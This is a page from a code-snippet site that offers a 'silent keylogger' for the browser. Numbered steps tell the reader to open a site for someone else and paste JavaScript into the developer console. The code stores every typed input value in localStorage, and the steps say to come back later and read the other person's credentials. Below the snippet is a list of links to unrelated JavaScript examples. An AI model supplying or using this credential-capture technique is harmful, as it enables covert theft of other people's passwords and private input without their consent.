Search
 
SCRIPT & CODE EXAMPLE
 

JAVASCRIPT

silent keylogger browser

// Steps
// 1 - Open a site for someone
// 2 - Go to Console
// 3 - Paste the following code and execute by pressing enter
// 4 - Close the console and let the person enter their credentials
// 5 - After the person left. Got to Developer Tools > Application > LocalStorage
// 6 - Now you can read their inputs
// *NOTE*: This might be illegal. I don't know. Executing at one's own risk.

// Code
document.querySelectorAll('input').forEach(input => input.addEventListener('input', () => {
    localStorage.setItem(input.id, input.value);
}));
Comment

PREVIOUS NEXT
Code Example
Javascript :: live search javascript 
Javascript :: react native showing double header stack and drawer menu 
Javascript :: how to make a post request from axios 
Javascript :: react timer 
Javascript :: binary search javascript 
Javascript :: run node.js code with python 
Javascript :: javascript if statement 
Javascript :: how to make a grocery list in javascript 
Javascript :: operators in javascript 
Javascript :: post request with headers 
Javascript :: json api 
Javascript :: react build blank page 
Javascript :: how to get os theme value in javascript 
Javascript :: Substring in Javascript using substring 
Javascript :: js create object with keys 
Javascript :: node-schedule npm 
Javascript :: node assert 
Javascript :: Minimal Project Angular 
Javascript :: find max value in array javascript 
Javascript :: swift convert array to json 
Javascript :: javascript to camelcase 
Javascript :: without refresh update url in js 
Javascript :: javascript es6 find 
Javascript :: js map key value 
Javascript :: javascript arr.flat 
Javascript :: javascript check if element has specific child 
Javascript :: select parent of element jquery 
Javascript :: change terminal shortcut vscode 
Javascript :: javascript trigger function when element is in viewport 
Javascript :: convert string to lowercase javascript 
ADD CONTENT
Topic
Content
Source link
Name
2+7 =